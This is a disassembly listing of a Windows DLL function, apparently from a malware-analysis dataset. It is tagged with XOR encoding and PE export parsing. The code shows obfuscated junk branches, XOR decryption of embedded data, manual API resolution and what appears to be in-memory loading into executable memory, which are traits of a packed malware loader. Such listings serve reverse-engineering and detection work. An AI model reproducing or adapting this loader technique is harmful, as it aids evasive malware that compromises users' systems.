Function at 0x1800010a0
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
cmp dword [0x180020a6c], 0xa
jl 0x1800010d2
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800010d2
nop
jmp 0x1800010d0
mov ecx, dword [0x180020a74]
mov edx, dword [0x180020a78]
mov eax, 0x10
call entry0
sub rsp, rax
mov r10, rsp
mov eax, 0x10
call entry0
sub rsp, rax
mov r8, rsp
cmp edx, 0xa
jl 0x180001112
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
jne 0x180001260
lea r9, section..data
nop dword [rax]
mov edi, 4
mov rsi, r10
mov r14, r9
jmp 0x180001138
add r14, 1
add rsi, 1
lea r11d, [rcx - 1]
imul r11d, ecx
test r11b, 1
sete al
cmp edx, 0xa
setl bl
or bl, al
nop
test bl, bl
je 0x180001150
sub rdi, 1
jb 0x180001180
mov bl, byte [r14]
nop dword [rax]
mov byte [rsi], bl
mov ecx, dword [0x180020a74]
mov edx, dword [0x180020a78]
cmp edx, 0xa
jl 0x180001130
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
jne 0x180001160
jmp 0x180001130
cmp dword [0x180020a6c], 0xa
jl 0x180001272
mov eax, dword [0x180020a70]
lea esi, [rax - 1]
imul esi, eax
and esi, 1
je 0x180001272
mov eax, 0x10
call entry0
sub rsp, rax
mov rax, rsp
cmp edx, 0xa
jl 0x1800011c1
and r11d, 1
jne 0x180001270
mov edi, 4
mov r8, r9
jmp 0x1800011d8
add r8, 1
add rax, 1
lea esi, [rcx - 1]
imul esi, ecx
test sil, 1
sete r10b
cmp edx, 0xa
setl bl
or bl, r10b
nop
test bl, bl
je 0x1800011f0
sub rdi, 1
jb 0x180001220
mov bl, byte [r8]
nop dword [rax]
mov byte [rax], bl
mov ecx, dword [0x180020a74]
mov edx, dword [0x180020a78]
cmp edx, 0xa
jl 0x1800011d0
lea esi, [rcx - 1]
imul esi, ecx
and esi, 1
jne 0x180001200
jmp 0x1800011d0
mov eax, 0x10
call entry0
sub rsp, rax
mov r10, rsp
mov eax, 0x10
call entry0
sub rsp, rax
mov r8, rsp
cmp edx, 0xa
jl 0x180001120
and esi, 1
je 0x180001120
nop word cs:[rax + rax]
nop dword [rax]
jmp 0x180001260
jmp 0x180001270
mov r12d, dword [r10]
test r12, r12
je 0x1800013a7
xor esi, esi
cmp r12d, 0x10
jb 0x180001373
lea rax, [r12 - 1]
cmp rax, 0x400
jae 0x180001373
mov esi, r12d
and esi, 0xfffffff0
lea rbx, [rsi - 0x10]
mov rax, rbx
shr rax, 4
add rax, 1
mov r9d, eax
and r9d, 1
test rbx, rbx
je 0x180001339
mov rdi, r9
sub rdi, rax
xor eax, eax
lea r10, section..data
movaps xmm0, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
nop word cs:[rax + rax]
nop dword [rax]
mov ebx, eax
and ebx, 0x3e0
movups xmm1, xmmword [rbx + r10 + 4]
movups xmm2, xmmword [rax + r10 + 0x404]
xorps xmm2, xmm1
movups xmm1, xmmword [rax + r10 + 0x414]
xorps xmm2, xmm0
movups xmmword [rax + r10 + 0x404], xmm2
lea ebx, [rax + 0x10]
and ebx, 0x3f0
movups xmm2, xmmword [rbx + r10 + 4]
xorps xmm1, xmm0
xorps xmm1, xmm2
movups xmmword [rax + r10 + 0x414], xmm1
add rax, 0x20
add rdi, 2
jne 0x1800012e0
jmp 0x18000133b
xor eax, eax
test r9, r9
je 0x18000136e
mov ebx, eax
and ebx, 0x3f0
lea rdi, section..data
movups xmm0, xmmword [rbx + rdi + 4]
movups xmm1, xmmword [rax + rdi + 0x404]
xorps xmm1, xmm0
xorps xmm1, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
movups xmmword [rax + rdi + 0x404], xmm1
cmp rsi, r12
je 0x1800013a7
lea rax, section..data
nop word [rax + rax]
mov edi, esi
and edi, 0x3ff
movzx ebx, byte [rdi + rax + 4]
xor bl, byte [rsi + rax + 0x404]
xor bl, 0xc
mov byte [rsi + rax + 0x404], bl
add rsi, 1
cmp rsi, r12
jb 0x180001380
cmp edx, 0xa
jl 0x1800013b6
and r11d, 1
jne 0x180001510
lea r14, section..data
lea r11, [r12 + r14]
add r11, 0x404
mov r9d, 4
mov rax, r8
mov rdi, r11
jmp 0x1800013e8
add rdi, 1
add rax, 1
lea esi, [rcx - 1]
imul esi, ecx
test sil, 1
sete r10b
cmp edx, 0xa
setl bl
or bl, r10b
nop
test bl, bl
je 0x180001400
sub r9, 1
jae 0x1800014a0
cmp dword [0x180020a6c], 0xa
jl 0x180001522
mov eax, dword [0x180020a70]
lea ebx, [rax - 1]
imul ebx, eax
and ebx, 1
je 0x180001522
cmp edx, 0xa
jl 0x18000143e
and esi, 1
jne 0x180001520
mov edi, 4
mov rbx, r8
mov r9, r11
jmp 0x180001458
add r9, 1
add rbx, 1
lea esi, [rcx - 1]
imul esi, ecx
test sil, 1
sete r10b
cmp edx, 0xa
setl al
or al, r10b
nop
test al, al
je 0x180001470
sub rdi, 1
jb 0x1800014e0
mov al, byte [r9]
nop dword [rax]
mov byte [rbx], al
mov ecx, dword [0x180020a74]
mov edx, dword [0x180020a78]
cmp edx, 0xa
jl 0x180001450
lea esi, [rcx - 1]
imul esi, ecx
and esi, 1
jne 0x180001480
jmp 0x180001450
mov bl, byte [rdi]
nop word cs:[rax + rax]
nop dword [rax]
mov byte [rax], bl
mov ecx, dword [0x180020a74]
mov edx, dword [0x180020a78]
cmp edx, 0xa
jl 0x1800013e0
lea esi, [rcx - 1]
imul esi, ecx
and esi, 1
jne 0x1800014b0
jmp 0x1800013e0
mov r9d, 4
mov rax, r8
mov rdi, r11
cmp edx, 0xa
jl 0x1800013e8
mov rax, r8
mov rdi, r11
and esi, 1
je 0x1800013e8
nop word cs:[rax + rax]
nop
jmp 0x180001510
jmp 0x180001520
add r11, 4
mov r9d, dword [r8]
test r9, r9
je 0x18000168a
xor eax, eax
cmp r9d, 0x20
jb 0x18000165f
lea rdx, [r9 - 1]
cmp rdx, 0x400
jae 0x18000165f
lea rcx, [r12 + r14]
add rcx, 0x408
lea rdx, [r9 + r14]
add rdx, 4
cmp rcx, rdx
jae 0x180001588
lea rcx, [r9 + r12]
add rcx, r14
add rcx, 0x408
lea rdx, str.WkQZmDVlYuHQsXFjxdSzGZdrrkfczCeVXxvswZkrtvpOBUzfqRFPHkXaCASJBcrAOFQzLRLQtIRDtRbDWdDOcveTUlDknlOvQBxYBdvDoSGdwESwdxmJKZVHQfURBisUnRpjPBOjFwBWsaixQwvffndIaMQGLRgQEMFtVCzkmBOgnPvGYGtvHCOqvUlClmqjZoDeSUTqLAwbQhGXjtLrqevDpWxQwoQBxEqldnUoyVZOGKYYPkcweDbXGCHznTDaleMYDsgwdwRrVeOUwrJeWiPejfWZgonPPRpUSpRjVfmcqrzXzmzYSXaIYGLAarhixgHrWiTbIbTAFZmxhBiGUafzOuviSOhzOYZBPAnbnDnmYxnQoDOXerjVhSLnGMrmBDQabpJqTQUzGjVbhupfzvzswHqcruWURQEeKyWhwzcWtClfHpfGiiTRkIkDaTMBxPExsYWoKEZyxrTlcIxRJWsXRyqIHiOUdrChgdoGiPqvhsHDqLawICETurYDqQGhBwCZEgkGbWbSnQbWKopVmQsRQnSoCLFJxREhTtBSsECmfuCJmwOeZWFiJTBGwSftOubFFaqsufGrzmzplxKifEvOaebRBAHmgPHmzKiUmtyLqWInjOUdmxzGUYktzcxqyREGhetKGiHSvZgkWfSIDeIQpqqfVLqmAAvPOkthkpfXhVyoeQEdobYxyFbIuMlOjfdbDDlGoVIeviCOWYcoDPAOSDUdHQohMarZPjhIzoFHhGMaisYdKQEcJDpgqamoIsAFfwXTkVeWMJHuEZzdtafhZlgYdwyGnAHKqmiTbyCxjfyWVbKmulGCcPDEFGdmzzOUiuuuvvXfsHCJzsCUZOsMUrmqIdFikdOfWmVozREgQBVRBgTEYtgVqBFmXiZiviVhVXhWnbHCYXgdZDsqFRvHvqfqkSFXyXuEVmFQsaLMTYaKBlJqomsMapZuKXDUZmOtooBxpbpVAJyGjpRkoMjDjOWAlnHuoHzQrgLbpXlewgDqFIJUxWrBrozjCBi
cmp rcx, rdx
jbe 0x180001588
xor eax, eax
jmp 0x18000165f
mov eax, r9d
and eax, 0xffffffe0
lea rbx, [rax - 0x20]
mov rdx, rbx
shr rdx, 5
add rdx, 1
mov r8d, edx
and r8d, 1
test rbx, rbx
je 0x180001623
lea rdi, [r12 + r14]
add rdi, 0x438
mov rbx, r8
sub rbx, rdx
xor esi, esi
mov edx, esi
and edx, 0x3c0
movups xmm0, xmmword [rdx + r14 + 4]
movups xmm1, xmmword [rdx + r14 + 0x14]
movups xmm2, xmmword [rdi + rsi - 0x30]
xorps xmm2, xmm0
movups xmm0, xmmword [rdi + rsi - 0x20]
xorps xmm0, xmm1
movups xmm1, xmmword [rdi + rsi - 0x10]
movups xmm3, xmmword [rdi + rsi]
movups xmmword [rdi + rsi - 0x30], xmm2
movups xmmword [rdi + rsi - 0x20], xmm0
lea edx, [rsi + 0x20]
and edx, 0x3e0
movups xmm0, xmmword [rdx + r14 + 4]
xorps xmm0, xmm1
movups xmm1, xmmword [rdx + r14 + 0x14]
xorps xmm1, xmm3
movups xmmword [rdi + rsi - 0x10], xmm0
movups xmmword [rdi + rsi], xmm1
add rsi, 0x40
add rbx, 2
jne 0x1800015bc
jmp 0x180001625
xor esi, esi
test r8, r8
je 0x18000165a
mov edx, esi
and edx, 0x3e0
movups xmm0, xmmword [rdx + r14 + 4]
movups xmm1, xmmword [rdx + r14 + 0x14]
movups xmm2, xmmword [r11 + rsi]
xorps xmm2, xmm0
movups xmm0, xmmword [r11 + rsi + 0x10]
xorps xmm0, xmm1
movups xmmword [r11 + rsi], xmm2
movups xmmword [r11 + rsi + 0x10], xmm0
cmp rax, r9
je 0x18000168a
lea rdx, [r12 + r14]
add rdx, 0x408
nop word [rax + rax]
mov ecx, eax
and ecx, 0x3ff
movzx ecx, byte [rcx + r14 + 4]
xor byte [rdx + rax], cl
add rax, 1
cmp rax, r9
jb 0x180001670
cmp dword [0x180020a7c], 0xa
jl 0x1800016b2
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800016b2
nop word cs:[rax + rax]
nop
jmp 0x1800016b0
add r12, 0x408
mov qword [rbp - 0x10], r11
movsxd rax, dword [0x180004440]
mov rbx, r11
nop word [rax + rax]
cmp byte [rbx], 0
lea rbx, [rbx + 1]
jne 0x1800016d0
lea rsi, [rax + r14]
add rsi, 0x404
mov r13, rbx
nop word [rax + rax]
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x1800016f0
mov r15, r13
nop
cmp byte [r15], 0
lea r15, [r15 + 1]
jne 0x180001700
mov qword [rbp - 0x28], r15
nop
cmp byte [r15], 0
lea r15, [r15 + 1]
jne 0x180001710
mov rdi, r15
nop dword [rax]
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x180001720
mov r14, rdi
nop dword [rax]
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x180001730
sub rsp, 0x20
mov rcx, rbx
call fcn.180002aa0
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x18000176b
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002120
movsxd rax, dword [r9 + 0x3c]
mov eax, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rax + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x18000179a
mov ecx, dword [0x180020a90]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x180002130
mov qword [rbp], rbx
mov qword [rbp - 8], rsi
add r8, r9
mov esi, dword [r9 + rax + 0x20]
mov r10d, dword [r9 + rax + 0x24]
add rsi, r9
add r10, r9
nop word cs:[rax + rax]
nop
mov eax, dword [rsi]
add rax, r9
mov rdx, r13
nop dword [rax + rax]
movzx ecx, byte [rdx]
movzx ebx, byte [rax]
test cl, cl
je 0x1800017e6
add rdx, 1
add rax, 1
cmp cl, bl
je 0x1800017d0
cmp cl, bl
je 0x1800017f4
add r10, 2
add rsi, 4
jmp 0x1800017c0
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, rdi
call r9
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x18000182e
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002140
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x18000185d
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002150
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov edi, dword [r10 + rcx + 0x24]
add rdx, r10
add rdi, r10
mov esi, dword [rdx]
add rsi, r10
mov rax, r15
nop dword [rax + rax]
movzx ebx, byte [rax]
movzx ecx, byte [rsi]
test bl, bl
je 0x180001896
add rax, 1
add rsi, 1
cmp bl, cl
je 0x180001880
cmp bl, cl
je 0x1800018a4
add rdi, 2
add rdx, 4
jmp 0x180001870
movzx eax, word [rdi]
mov eax, dword [r8 + rax*4]
add r10, rax
sub rsp, 0x30
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, r14
mov r8, r14
call r10
add rsp, 0x10
mov rcx, qword [rbp]
call fcn.180002aa0
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001907
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002160
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001936
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002170
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov r9d, dword [r10 + rcx + 0x24]
add rdx, r10
add r9, r10
lea rcx, section..data
mov edi, dword [rdx]
add rdi, r10
xor esi, esi
nop word [rax + rax]
lea rax, [r12 + rsi]
movzx eax, byte [rcx + rax]
movzx ebx, byte [rdi + rsi]
test al, al
je 0x180001978
add rsi, 1
cmp al, bl
je 0x180001960
cmp al, bl
je 0x180001986
add r9, 2
add rdx, 4
jmp 0x180001950
movzx eax, word [r9]
mov eax, dword [r8 + rax*4]
add r10, rax
mov rsi, qword [rbp - 8]
mov edx, dword [rsi + 0x50]
sub rsp, 0x20
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
add rsp, 0x20
mov r15, rax
mov ecx, dword [0x180020a70]
mov edi, dword [0x180020a6c]
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
cmp edi, 0xa
jl 0x180002172
test eax, eax
je 0x180002172
movsxd rsi, dword [0x180004440]
cmp dword [0x180020a7c], 0xa
mov rdx, qword [rbp - 0x10]
mov rcx, rdx
jl 0x180001a10
mov eax, dword [0x180020a80]
lea ebx, [rax - 1]
imul ebx, eax
mov rcx, rdx
and ebx, 1
jne 0x180002040
nop dword [rax]
cmp byte [rcx], 0
lea rcx, [rcx + 1]
jne 0x180001a10
mov r15, rcx
nop dword [rax]
cmp byte [r15], 0
lea r15, [r15 + 1]
jne 0x180001a20
mov r13, r15
nop dword [rax]
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x180001a30
nop dword [rax + rax]
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x180001a40
mov rdi, r13
nop
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x180001a50
mov r14, rdi
nop dword [rax]
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x180001a60
sub rsp, 0x20
mov qword [rbp], rcx
call fcn.180002aa0
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180001a9c
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002050
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001acb
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002060
mov qword [rbp - 8], rsi
add r8, r9
mov esi, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add rsi, r9
add r10, r9
nop word cs:[rax + rax]
nop dword [rax]
mov edx, dword [rsi]
add rdx, r9
mov rcx, r15
nop dword [rax + rax]
movzx eax, byte [rcx]
movzx ebx, byte [rdx]
test al, al
je 0x180001b16
add rcx, 1
add rdx, 1
cmp al, bl
je 0x180001b00
cmp al, bl
je 0x180001b24
add r10, 2
add rsi, 4
jmp 0x180001af0
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, rdi
call r9
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001b5e
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002070
movsxd rax, dword [r10 + 0x3c]
mov eax, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rax + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001b8d
mov ecx, dword [0x180020a90]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x180002080
add r8, r10
mov edi, dword [r10 + rax + 0x20]
mov esi, dword [r10 + rax + 0x24]
add rdi, r10
add rsi, r10
mov eax, dword [rdi]
add rax, r10
mov rbx, r13
nop dword [rax + rax]
movzx ecx, byte [rbx]
movzx edx, byte [rax]
test cl, cl
je 0x180001bc6
add rbx, 1
add rax, 1
cmp cl, dl
je 0x180001bb0
cmp cl, dl
je 0x180001bd4
add rsi, 2
add rdi, 4
jmp 0x180001ba0
movzx eax, word [rsi]
mov eax, dword [r8 + rax*4]
add r10, rax
sub rsp, 0x30
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, r14
mov r8, r14
call r10
add rsp, 0x10
mov rcx, qword [rbp]
call fcn.180002aa0
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001c37
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002090
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001c66
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x1800020a0
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov r9d, dword [r10 + rcx + 0x24]
add rdx, r10
add r9, r10
lea rcx, section..data
mov edi, dword [rdx]
add rdi, r10
xor esi, esi
nop word [rax + rax]
lea rax, [r12 + rsi]
movzx eax, byte [rcx + rax]
movzx ebx, byte [rdi + rsi]
test al, al
je 0x180001ca8
add rsi, 1
cmp al, bl
je 0x180001c90
cmp al, bl
je 0x180001cb6
add r9, 2
add rdx, 4
jmp 0x180001c80
movzx eax, word [r9]
mov eax, dword [r8 + rax*4]
add r10, rax
mov rax, qword [rbp - 8]
mov edx, dword [rax + rcx + 0x454]
sub rsp, 0x20
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
add rsp, 0x20
movsxd rsi, dword [0x180004440]
cmp dword [0x180020a7c], 0xa
mov rdx, qword [rbp - 0x10]
mov rcx, rdx
jl 0x180001d20
mov eax, dword [0x180020a80]
lea ebx, [rax - 1]
imul ebx, eax
mov rcx, rdx
and ebx, 1
jne 0x1800020b0
nop word cs:[rax + rax]
nop
cmp byte [rcx], 0
lea rcx, [rcx + 1]
jne 0x180001d20
mov r15, rcx
nop dword [rax]
cmp byte [r15], 0
lea r15, [r15 + 1]
jne 0x180001d30
mov r13, r15
nop dword [rax]
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x180001d40
nop dword [rax + rax]
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x180001d50
mov rdi, r13
nop
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x180001d60
mov r14, rdi
nop dword [rax]
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x180001d70
sub rsp, 0x20
mov qword [rbp], rcx
call fcn.180002aa0
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180001dac
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800020c0
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001ddb
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x1800020d0
mov qword [rbp - 8], rsi
add r8, r9
mov esi, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add rsi, r9
add r10, r9
nop word cs:[rax + rax]
nop dword [rax]
mov edx, dword [rsi]
add rdx, r9
mov rcx, r15
nop dword [rax + rax]
movzx eax, byte [rcx]
movzx ebx, byte [rdx]
test al, al
je 0x180001e26
add rcx, 1
add rdx, 1
cmp al, bl
je 0x180001e10
cmp al, bl
je 0x180001e34
add r10, 2
add rsi, 4
jmp 0x180001e00
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, rdi
call r9
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001e6e
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800020e0
movsxd rax, dword [r10 + 0x3c]
mov eax, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rax + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001e9d
mov ecx, dword [0x180020a90]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x1800020f0
add r8, r10
mov edi, dword [r10 + rax + 0x20]
mov esi, dword [r10 + rax + 0x24]
add rdi, r10
add rsi, r10
mov eax, dword [rdi]
add rax, r10
mov rbx, r13
nop dword [rax + rax]
movzx ecx, byte [rbx]
movzx edx, byte [rax]
test cl, cl
je 0x180001ed6
add rbx, 1
add rax, 1
cmp cl, dl
je 0x180001ec0
cmp cl, dl
je 0x180001ee4
add rsi, 2
add rdi, 4
jmp 0x180001eb0
movzx eax, word [rsi]
mov eax, dword [r8 + rax*4]
add r10, rax
sub rsp, 0x30
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, r14
mov r8, r14
call r10
add rsp, 0x10
mov rcx, qword [rbp]
call fcn.180002aa0
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001f47
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002100
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001f76
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002110
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov ecx, dword [r10 + rcx + 0x24]
add rdx, r10
add rcx, r10
lea r14, section..data
mov edi, dword [rdx]
add rdi, r10
xor esi, esi
nop word [rax + rax]
lea rax, [r12 + rsi]
movzx eax, byte [r14 + rax]
movzx ebx, byte [rdi + rsi]
test al, al
je 0x180001fb9
add rsi, 1
cmp al, bl
je 0x180001fa0
cmp al, bl
je 0x180001fc7
add rcx, 2
add rdx, 4
jmp 0x180001f90
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r10, rax
mov rax, qword [rbp - 8]
mov edx, dword [rax + r14 + 0x454]
sub rsp, 0x20
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
add rsp, 0x20
cmp dword [0x180020a6c], 0xa
jl 0x180002014
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800019da
cmp dword [0x180020a7c], 0xa
mov r11, qword [rbp - 0x10]
jl 0x1800016bd
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800016bd
jmp 0x1800016b0
jmp 0x180002040
jmp 0x180002050
jmp 0x180002060
jmp 0x180002070
jmp 0x180002080
jmp 0x180002090
jmp 0x1800020a0
jmp 0x1800020b0
jmp 0x1800020c0
jmp 0x1800020d0
jmp 0x1800020e0
jmp 0x1800020f0
jmp 0x180002100
jmp 0x180002110
jmp 0x180002120
jmp 0x180002130
jmp 0x180002140
jmp 0x180002150
jmp 0x180002160
jmp 0x180002170
cmp edi, 0xa
jl 0x180002182
test eax, eax
je 0x180002182
nop dword [rax + rax]
jmp 0x180002180
lea r8, [rsi + 0x108]
xor r9d, r9d
mov r12, r15
movzx eax, word [rsi + 6]
cmp r9, rax
jae 0x18000248c
lea rax, [r9 + r9*4]
lea r10, [r8 + rax*8]
add r10, 0xc
mov ebx, dword [0x180020a74]
mov eax, dword [0x180020a78]
cmp eax, 0xa
jl 0x1800021c8
lea ecx, [rbx - 1]
imul ecx, ebx
and ecx, 1
jne 0x18000248a
mov ecx, dword [r10]
mov edx, dword [r10 + 8]
mov esi, dword [r10 + 4]
add rcx, r15
lea r14, section..data
lea rdi, [rdx + r14]
add rdi, 0x404
jmp 0x1800021f2
add rdi, 1
add rcx, 1
lea edx, [rbx - 1]
imul edx, ebx
test dl, 1
sete r11b
cmp eax, 0xa
setl dl
or dl, r11b
nop dword [rax + rax]
test dl, dl
je 0x180002210
sub rsi, 1
jb 0x180002248
nop word [rax + rax]
movzx eax, byte [rdi]
mov byte [rcx], al
mov ebx, dword [0x180020a74]
mov eax, dword [0x180020a78]
cmp eax, 0xa
jl 0x1800021ea
lea edx, [rbx - 1]
imul edx, ebx
and edx, 1
je 0x1800021ea
movzx eax, byte [rdi]
mov byte [rcx], al
jmp 0x180002220
mov ecx, dword [0x180020a70]
mov edi, dword [0x180020a6c]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
cmp edi, 0xa
jl 0x180002468
test edx, edx
je 0x180002468
mov ecx, dword [r10 + 8]
add rcx, r14
add rcx, 0x404
mov esi, dword [r10 + 4]
mov edi, dword [r10]
add rdi, r15
jmp 0x180002290
add rcx, 1
add rdi, 1
lea edx, [rbx - 1]
imul edx, ebx
test dl, 1
sete r11b
cmp eax, 0xa
setl dl
or dl, r11b
nop word cs:[rax + rax]
test dl, dl
je 0x1800022b0
sub rsi, 1
jb 0x1800022e8
nop word [rax + rax]
movzx eax, byte [rcx]
mov byte [rdi], al
mov ebx, dword [0x180020a74]
mov eax, dword [0x180020a78]
cmp eax, 0xa
jl 0x180002288
lea edx, [rbx - 1]
imul edx, ebx
and edx, 1
je 0x180002288
movzx eax, byte [rcx]
mov byte [rdi], al
jmp 0x1800022c0
cmp dword [0x180020a6c], 0xa
jl 0x18000230e
mov ecx, dword [0x180020a70]
lea edx, [rcx - 1]
imul edx, ecx
mov r14d, ebx
mov r11d, ebx
and edx, 1
jne 0x1800023cd
jmp 0x180002311
mov r14d, ebx
cmp eax, 0xa
jl 0x180002327
lea ecx, [r14 - 1]
imul ecx, r14d
and ecx, 1
jne 0x180002488
mov ecx, dword [r10 + 8]
lea rdx, section..data
add rdx, rcx
add rdx, 0x404
mov edi, dword [r10 + 4]
mov esi, dword [r10]
mov r15, r12
add rsi, r12
jmp 0x180002356
add rdx, 1
add rsi, 1
mov r14d, ebx
lea ecx, [r14 - 1]
imul ecx, r14d
test cl, 1
sete r11b
cmp eax, 0xa
setl cl
or cl, r11b
nop
test cl, cl
je 0x180002370
sub rdi, 1
jb 0x1800023a8
nop word [rax + rax]
movzx eax, byte [rdx]
mov byte [rsi], al
mov ebx, dword [0x180020a74]
mov eax, dword [0x180020a78]
cmp eax, 0xa
jl 0x18000234b
lea ecx, [rbx - 1]
imul ecx, ebx
and ecx, 1
je 0x18000234b
movzx eax, byte [rdx]
mov byte [rsi], al
jmp 0x180002380
cmp dword [0x180020a6c], 0xa
jl 0x1800021b4
mov ecx, dword [0x180020a70]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
je 0x1800021b4
mov r11d, r14d
cmp eax, 0xa
lea rdx, section..data
jl 0x1800023ea
lea ecx, [r11 - 1]
imul ecx, r11d
and ecx, 1
jne 0x180002486
mov ecx, dword [r10 + 8]
lea rdi, [rcx + rdx]
add rdi, 0x404
mov r15d, dword [r10 + 4]
mov esi, dword [r10]
add rsi, r12
mov r14d, r11d
jmp 0x180002413
add rdi, 1
add rsi, 1
mov r14d, ebx
lea ecx, [r14 - 1]
imul ecx, r14d
test cl, 1
sete dl
cmp eax, 0xa
setl cl
or cl, dl
nop dword [rax]
test cl, cl
je 0x180002430
sub r15, 1
jb 0x180002311
nop
movzx eax, byte [rdi]
mov byte [rsi], al
mov ebx, dword [0x180020a74]
